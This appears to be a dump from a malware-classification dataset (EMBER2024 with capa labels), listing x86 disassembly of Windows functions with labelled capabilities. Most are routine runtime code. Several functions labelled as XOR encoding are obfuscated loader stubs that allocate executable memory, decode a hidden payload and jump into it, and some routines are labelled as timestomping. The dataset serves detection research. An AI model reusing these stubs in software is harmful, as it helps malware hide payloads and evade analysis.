joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7c3528eb
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x7c38b118]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x7c35291c
xor eax, eax
jmp 0x7c352aa5
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + sym.MSVCR71.dll___pioinfo]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x7c352958
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.7c35ddab
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x7c352a33
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x7c352a71
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x7c3529bc
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x7c3529ad
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x7c35298d
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [esi + eax]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x7c3529fc
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x7c352a05
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x7c35297e
jmp 0x7c352a07
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x7c352aa0
cmp dword [ebp - 0x6c], edi
je 0x7c352a71
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x7c352a66
call sym.MSVCR71.dll__errno
mov dword [eax], 9
call sym.MSVCR71.dll___doserrno
mov dword [eax], esi
jmp 0x7c352a9b
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
je 0x7c352a5b
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x7c352a07
call dword [sym.imp.kernel32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x7c352a07
push dword [ebp - 0x6c]
call fcn.7c349ee2
pop ecx
jmp 0x7c352a9b
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x7c352a89
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x7c352a89
xor eax, eax
jmp 0x7c352aa3
call sym.MSVCR71.dll__errno
mov dword [eax], 0x1c
call sym.MSVCR71.dll___doserrno
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x7c352aa3
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.7c341aed
add ebp, 0x3a0
leave
ret
Function at 0x7c3562f8
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x7c356306
xor ecx, ecx
jmp 0x7c356324
cmp eax, 0x1a
jbe 0x7c356310
push 0x57
pop eax
pop ebp
ret
add al, 0x40
lea ecx, [ebp + 8]
mov byte [ebp + 8], al
mov byte [ebp + 9], 0x3a
mov byte [ebp + 0xa], 0x5c
mov byte [ebp + 0xb], 0
mov eax, dword [ebp + 0xc]
push eax
lea edx, [eax + 4]
push edx
lea edx, [eax + 0xc]
push edx
add eax, 8
push eax
push ecx
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceA]
test eax, eax
jne 0x7c356346
pop ebp
jmp dword [sym.imp.kernel32.dll_GetLastError]
xor eax, eax
pop ebp
ret

Function at 0x7c356910
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x7c356930
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c349ee2
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x7c356953
test byte [esp + 8], 2
je 0x7c356953
call sym.MSVCR71.dll__errno
mov dword [eax], 0xd
call sym.MSVCR71.dll___doserrno
mov dword [eax], 5
jmp 0x7c35692c
xor eax, eax
ret

Function at 0x7c356956
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
push 0x128
push 0x7c380ce0
call fcn.7c34230b
mov eax, dword [0x7c38b118]
mov dword [ebp - 0x1c], eax
lea edi, [ebp - 0x124]
xor ebx, ebx
mov dword [ebp - 0x130], ebx
or dword [ebp - 0x12c], 0xffffffff
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x7c356a63
mov eax, edi
push eax
push 0x105
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov esi, eax
mov dword [ebp - 0x134], esi
cmp esi, 0x104
jle 0x7c356a14
mov dword [ebp - 4], ebx
lea eax, [esi + 1]
add eax, 3
and eax, 0xfffffffc
call fcn.7c341395
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x138], edi
jmp 0x7c356a01
or dword [ebp - 4], 0xffffffff
cmp esi, ebx
je 0x7c356a63
push edi
inc esi
push esi
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov esi, eax
cmp esi, ebx
je 0x7c356a63
mov al, byte [edi]
cmp al, 0x5c
je 0x7c356a22
cmp al, 0x2f
jne 0x7c356a27
cmp al, byte [edi + 1]
je 0x7c356a5d
mov byte [ebp - 0x128], 0x3d
movzx eax, byte [edi]
push eax
call fcn.7c35ddab
pop ecx
mov byte [ebp - 0x127], al
mov byte [ebp - 0x126], 0x3a
mov byte [ebp - 0x125], bl
push edi
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x7c356a63
mov dword [ebp - 0x12c], ebx
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c349ee2
pop ecx
cmp dword [ebp - 0x130], ebx
je 0x7c356a7f
push edi
call sym.MSVCR71.dll_free
pop ecx
mov eax, dword [ebp - 0x12c]
lea esp, [ebp - 0x144]
mov ecx, dword [ebp - 0x1c]
call fcn.7c341aed
call fcn.7c342346
ret
Function at 0x7c356a99
Capabilities:
Get common file path

Disassembly:
push 0x120
push 0x7c380cf0
call fcn.7c34230b
mov eax, dword [0x7c38b118]
mov dword [ebp - 0x1c], eax
lea edi, [ebp - 0x124]
and dword [ebp - 0x128], 0
mov eax, edi
push eax
push 0x105
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov esi, eax
mov dword [ebp - 0x12c], esi
cmp esi, 0x104
jle 0x7c356b3d
and dword [ebp - 4], 0
lea eax, [esi + 1]
add eax, 3
and eax, 0xfffffffc
call fcn.7c341395
mov dword [ebp - 0x18], esp
mov edi, esp
mov dword [ebp - 0x130], edi
jmp 0x7c356b2a
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x7c356b3d
push edi
inc esi
push esi
call dword [sym.imp.kernel32.dll_GetCurrentDirectoryA]
mov esi, eax
xor ebx, ebx
test esi, esi
je 0x7c356b58
cmp byte [edi + 1], 0x3a
jne 0x7c356b58
movzx eax, byte [edi]
push eax
call sym.MSVCR71.dll_toupper
pop ecx
mov ebx, eax
sub ebx, 0x40
cmp dword [ebp - 0x128], 0
je 0x7c356b68
push edi
call sym.MSVCR71.dll_free
pop ecx
mov eax, ebx
lea esp, [ebp - 0x13c]
mov ecx, dword [ebp - 0x1c]
call fcn.7c341aed
call fcn.7c342346
ret

Function at 0x7c356b7e
Capabilities:
Set current directory

Disassembly:
push 0x10
push 0x7c380d00
call fcn.7c34230b
mov ebx, dword [ebp + 8]
cmp ebx, 1
jl 0x7c356bed
cmp ebx, 0x1f
jg 0x7c356bed
push 7
call fcn.7c35ddab
pop ecx
and dword [ebp - 4], 0
add ebx, 0x40
mov byte [ebp - 0x1c], bl
mov byte [ebp - 0x1b], 0x3a
mov byte [ebp - 0x1a], 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x7c356bc5
and dword [ebp - 0x20], 0
jmp 0x7c356bd6
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c349ee2
pop ecx
or dword [ebp - 0x20], 0xffffffff
or dword [ebp - 4], 0xffffffff
call fcn.7c356be4
mov eax, dword [ebp - 0x20]
jmp 0x7c356c06
call sym.MSVCR71.dll__errno
mov dword [eax], 0xd
call sym.MSVCR71.dll___doserrno
mov dword [eax], 0xf
or eax, 0xffffffff
call fcn.7c342346
ret

Function at 0x7c356c0c
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x7c356c39
test byte [esp + 8], 0x80
je 0x7c356c27
and eax, 0xfffffffe
jmp 0x7c356c2a
or eax, 1
push eax
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
test eax, eax
jne 0x7c356c4a
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
call fcn.7c349ee2
pop ecx
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x7c35ddab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x7c35ddba
pop dword [ebp - 0x4c]
mov eax, 0x6a62d189
sub eax, 0xee2cf3cf
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3dc98
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0xcad97f04
sub ecx, 0xcad933ed
mov edx, eax
mov ebx, 0xc2ce6621
sub ebx, 0x46950621
add ebx, dword [ebp - 0x4c]
mov edi, 0x9cc8fab2
add edi, 0xba048002
xor dword [ebp - 4], esi
mov esi, dword [ebx]
mov dword [ebp - 8], 0xcaf472f5
sub esi, edi
xor dword [ebp - 0x20], 0xe2911368
mov dword [edx], esi
add edx, 4
add ebx, 0x457cc7b7
sub ebx, 0x457cc7b3
loop 0x7c35de14
add eax, 0x11f2f
xor ebx, ebx
add ebx, eax
add eax, 0xdf334e33
sub eax, 0xdf334e2e
mov ecx, 0x7c340000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x7c366d53
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x7c3916c0]
push ebx
push ebp
mov ebp, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jne 0x7c366d9c
call ebp
mov esi, eax
cmp esi, ebx
je 0x7c366d82
mov dword [0x7c3916c0], 1
jmp 0x7c366da1
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x7c366d97
push 2
pop eax
mov dword [0x7c3916c0], eax
jmp 0x7c366d9c
mov eax, dword [0x7c3916c0]
cmp eax, 1
jne 0x7c366df9
cmp esi, ebx
jne 0x7c366db4
call ebp
mov esi, eax
cmp esi, ebx
jne 0x7c366db4
xor eax, eax
jmp 0x7c366ea0
cmp word [esi], bx
mov eax, esi
je 0x7c366dc9
inc eax
inc eax
cmp word [eax], bx
jne 0x7c366dbb
inc eax
inc eax
cmp word [eax], bx
jne 0x7c366dbb
sub eax, esi
inc eax
inc eax
mov ebp, eax
push ebp
call sym.MSVCR71.dll_malloc
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x7c366dec
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, edi
jmp 0x7c366ea0
push ebp
push esi
push edi
call fcn.7c35ddab
add esp, 0xc
jmp 0x7c366dde
cmp eax, 2
je 0x7c366e02
cmp eax, ebx
jne 0x7c366dad
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov ebp, eax
cmp ebp, ebx
je 0x7c366dad
cmp byte [ebp], bl
mov esi, ebp
je 0x7c366e38
push ebx
push ebx
push 0xffffffffffffffff
push esi
push 1
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp eax, ebx
je 0x7c366dad
push esi
add edi, eax
call sym.MSVCR71.dll_strlen
lea esi, [esi + eax + 1]
cmp byte [esi], bl
pop ecx
jne 0x7c366e15
inc edi
lea eax, [edi + edi]
push eax
mov dword [esp + 0x18], edi
call sym.MSVCR71.dll_malloc
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x7c366eb1
cmp byte [ebp], bl
mov edi, ebp
mov esi, eax
je 0x7c366e92
mov ecx, dword [esp + 0x14]
mov eax, esi
sub eax, dword [esp + 0x10]
sar eax, 1
sub ecx, eax
push ecx
push esi
push 0xffffffffffffffff
push edi
push 1
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x7c366ea7
push edi
call sym.MSVCR71.dll_strlen
push esi
lea edi, [edi + eax + 1]
call sym.MSVCR71.dll_wcslen
cmp byte [edi], bl
pop ecx
pop ecx
lea esi, [esi + eax*2 + 2]
jne 0x7c366e58
push ebp
mov word [esi], bx
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push dword [esp + 0x10]
call sym.MSVCR71.dll_free
pop ecx
push ebp
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x7c366dad
Function at 0x7c370627
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x7c370648
lea eax, [ebp - 4]
push eax
call fcn.7c35ddab
mov eax, dword [ebp - 4]
pop ecx
mov dword [ebp - 8], eax
lea edi, [ebp - 8]
lea eax, [edi + 4]
push eax
call fcn.7c35ddab
test eax, eax
pop ecx
jne 0x7c370669
call sym.MSVCR71.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
jmp 0x7c37076a
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x30], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x2e], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x2a], cx
mov cx, word [eax + 8]
mov word [ebp - 0x28], cx
mov cx, word [eax + 4]
mov word [ebp - 0x26], cx
mov ax, word [eax]
and word [ebp - 0x22], 0
push esi
mov esi, dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
je 0x7c37075b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c37075b
push edi
call fcn.7c35ddab
test eax, eax
pop ecx
je 0x7c37075b
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x30], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x2e], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x2a], cx
mov cx, word [eax + 8]
mov word [ebp - 0x28], cx
mov cx, word [eax + 4]
mov word [ebp - 0x26], cx
mov ax, word [eax]
and word [ebp - 0x22], 0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
call esi
test eax, eax
je 0x7c37075b
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c37075b
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sym.MSVCR71.dll__get_osfhandle
pop ecx
push eax
call dword [sym.imp.kernel32.dll_SetFileTime]
test eax, eax
je 0x7c37075b
xor eax, eax
jmp 0x7c370769
call sym.MSVCR71.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
pop esi
pop edi
leave
ret
Function at 0x7c3707a4
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x7c3707cb
lea eax, [ebp - 0x30]
push eax
call fcn.7c35ddab
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
pop ecx
mov dword [ebp - 0x34], eax
lea edi, [ebp - 0x38]
lea eax, [edi + 8]
push eax
call fcn.7c35ddab
test eax, eax
pop ecx
jne 0x7c3707ec
call sym.MSVCR71.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
jmp 0x7c3708ed
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x28], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x26], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x22], cx
mov cx, word [eax + 8]
mov word [ebp - 0x20], cx
mov cx, word [eax + 4]
mov word [ebp - 0x1e], cx
mov ax, word [eax]
and word [ebp - 0x1a], 0
push esi
mov esi, dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
mov word [ebp - 0x1c], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
je 0x7c3708de
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c3708de
push edi
call fcn.7c35ddab
test eax, eax
pop ecx
je 0x7c3708de
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [ebp - 0x28], cx
mov cx, word [eax + 0x10]
inc cx
mov word [ebp - 0x26], cx
mov cx, word [eax + 0xc]
mov word [ebp - 0x22], cx
mov cx, word [eax + 8]
mov word [ebp - 0x20], cx
mov cx, word [eax + 4]
mov word [ebp - 0x1e], cx
mov ax, word [eax]
and word [ebp - 0x1a], 0
mov word [ebp - 0x1c], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x28]
push eax
call esi
test eax, eax
je 0x7c3708de
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x7c3708de
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call sym.MSVCR71.dll__get_osfhandle
pop ecx
push eax
call dword [sym.imp.kernel32.dll_SetFileTime]
test eax, eax
je 0x7c3708de
xor eax, eax
jmp 0x7c3708ec
call sym.MSVCR71.dll__errno
mov dword [eax], 0x16
or eax, 0xffffffff
pop esi
pop edi
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40633c
pop dword [ebp - 8]
mov eax, 0xd51d1e89
sub eax, 0xd4dcbb4d
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x922f6884
add dword [ebp - 0x18], 0xbc22dcc7
mov dword [ebp - 0x14], 0xcaf66bec
sub dword [ebp - 0x14], 0x98c31fa7
mov dword [ebp - 0x10], 0xc3683f9e
add dword [ebp - 0x10], 0x88e40490
mov dword [ebp - 0xc], 0x20758cb8
add dword [ebp - 0xc], 0xdf8a7348
lea eax, [ebp - 0x18]
push eax
mov eax, 0xaba4b662
add eax, 0x549bb9fe
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x256f7ab
sub dword [ebp - 0x18], 0x8de48e55
mov dword [ebp - 0x14], 0xe7e33ae3
add dword [ebp - 0x14], 0x59892692
mov dword [ebp - 0x10], 0x9baa202e
add dword [ebp - 0x10], 0xc7c54c3e
mov dword [ebp - 0xc], 0x76519b8
sub dword [ebp - 0xc], 0x76519b8
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x8c94f40b
sub eax, 0x8c54830b
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x39505
push 0
call eax
mov ecx, 0x883243c7
sub ecx, 0x8831f0ff
xor esi, esi
add esi, eax
mov edi, 0x261410d6
sub edi, 0x25d310d6
add edi, dword [ebp - 8]
mov ebx, 0x7dde63f7
sub ebx, 0xb930c164
sub dword [ebp - 4], 0xd3d0433e
mov edx, dword [edi]
xor dword [ebp - 4], edi
sub edx, ebx
sub dword [ebp - 4], edx
mov dword [esi], edx
add dword [ebp - 4], eax
add esi, 0xcabc45bd
sub esi, 0xcabc45b9
add edi, 0x9c2eff69
add edi, 0x63d1009b
loop 0x406460
add eax, 0x608fd766
add eax, 0x9f71668d
mov ebx, eax
add eax, 0x135ac98a
sub eax, 0x135ac985
mov ecx, 0x28dea02d
add ecx, 0xd7615fd3
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x10044d48
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10044d57
pop dword [ebp - 0xc]
mov eax, 0x10044d57
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xd116f560
sub dword [ebp - 0x1c], 0x82c4b015
mov dword [ebp - 0x18], 0x59180509
sub dword [ebp - 0x18], 0x26e4b8c4
mov dword [ebp - 0x14], 0x29b96a39
sub dword [ebp - 0x14], 0xdd6d260b
mov dword [ebp - 0x10], 0x1e98eaff
sub dword [ebp - 0x10], 0x1e98eaff
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xb91aac48
sub eax, 0xa9151b3c
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x54193dbf
sub dword [ebp - 0x1c], 0xdfa6d469
mov dword [ebp - 0x18], 0xddbde86b
add dword [ebp - 0x18], 0x63ae790a
mov dword [ebp - 0x14], 0xc634c219
sub dword [ebp - 0x14], 0x62c555ad
mov dword [ebp - 0x10], 0xd1188e
sub dword [ebp - 0x10], 0xd1188e
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x52b83e7b
add eax, 0xbd4d51c5
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x5aa81
push 0
call eax
mov ecx, 0x3c2a
xor edx, edx
add edx, eax
mov edi, 0x7355dab3
add edi, 0x9cb0b94d
add edi, dword [ebp - 0xc]
mov esi, 0x2e1f627a
add dword [ebp - 8], eax
mov ebx, dword [edi]
sub dword [ebp - 4], 0x32535c82
xor ebx, esi
xor dword [ebp - 8], ecx
mov dword [edx], ebx
add edx, 0xb42e81c7
sub edx, 0xb42e81c3
add edi, 4
loop 0x10044e6a
add eax, 0xf5c6d2b2
add eax, 0xa3a10c9
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x100129ec
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002cef1
call fcn.10014f28
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10012a09
xor eax, eax
jmp 0x10012adf
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x10012add
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x10012ab3
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.100125e1
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.100125e1
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10012b61
lea ecx, [ebp - 0x240]
call fcn.10012b61
push dword [ebp - 0x244]
lea ecx, [ebp - 0x240]
call main
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test eax, eax
je 0x10012abd
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10012c52
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10012a36
jmp 0x10012ad6
mov edi, dword [ebp - 0x234]
call fcn.10012c52
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10012c52
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10014ed2
ret

Function at 0x1002535d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1002536c
pop dword [ebp - 0x34]
mov eax, 0x1002536c
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x42197
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0xd968189b
add ecx, 0x269832ef
xor edi, edi
add edi, eax
mov esi, 0x10049800
add esi, dword [ebp - 0x34]
mov ebx, 0xe16b31f3
add ebx, 0xf0390281
sub dword [ebp - 0x28], 0xfe99c37d
mov edx, dword [esi]
xor dword [ebp - 0x10], ecx
add edx, ebx
sub dword [ebp - 0x30], 0x1458c462
mov dword [edi], edx
mov dword [ebp - 0xc], 0xda7ad9a4
add edi, 4
add esi, 0xe5b9f63
add esi, 0xf1a460a1
loop 0x100253bd
add eax, 0x120fb
mov ebx, eax
add eax, 0x22adfaeb
add eax, 0xdd52051a
mov ecx, 0x4fdd168b
sub ecx, 0x3fdd168b
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x40e5b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40e5bf
pop dword [ebp - 0x40]
mov eax, 0xabf71622
add eax, 0x5449cf9d
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xd643acb4
sub dword [ebp - 0x50], 0x87f16769
mov dword [ebp - 0x4c], 0x6ec0135f
sub dword [ebp - 0x4c], 0x3c8cc71a
mov dword [ebp - 0x48], 0x7f2b9214
add dword [ebp - 0x48], 0xcd20b21a
mov dword [ebp - 0x44], 0x3a22c930
add dword [ebp - 0x44], 0xc5dd36d0
lea eax, [ebp - 0x50]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xdfdaff88
sub dword [ebp - 0x50], 0x6b689632
mov dword [ebp - 0x4c], 0x46d553fb
add dword [ebp - 0x4c], 0xfa970d7a
mov dword [ebp - 0x48], 0xfd394193
sub dword [ebp - 0x48], 0x99c9d527
mov dword [ebp - 0x44], 0xc6e9429f
sub dword [ebp - 0x44], 0xc6e9429f
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38ba0
push 0
call eax
mov ecx, 0xd6bd44
sub ecx, 0xd676ba
xor edx, edx
add edx, eax
mov esi, 0x3e97592d
sub esi, 0x3e55b52d
add esi, dword [ebp - 0x40]
mov ebx, 0x3505581a
add ebx, 0x5f9c9e35
sub dword [ebp - 0x1c], ecx
mov edi, dword [esi]
xor dword [ebp - 0xc], 0x3f767832
add edi, ebx
add dword [ebp - 0x3c], 0xe8f89e5f
mov dword [edx], edi
add edx, 0xde2e7652
sub edx, 0xde2e764e
add esi, 0x5a848312
add esi, 0xa57b7cf2
loop 0x40e6d9
add eax, 0xed00d118
sub eax, 0xecffc41d
xor ebx, ebx
add ebx, eax
add eax, 0xd6857ca0
sub eax, 0xd6857c9b
mov ecx, 0xb6c9a391
sub ecx, 0xb689a391
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x41055a
Capabilities:
Create thread

Disassembly:
push esi
push 4
mov esi, ecx
call sub.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_
xor edx, edx
pop ecx
test eax, eax
je 0x41056f
mov dword [eax], edx
jmp 0x410571
mov eax, edx
push edx
push edx
push esi
push 0x41058b
push edx
push edx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
ret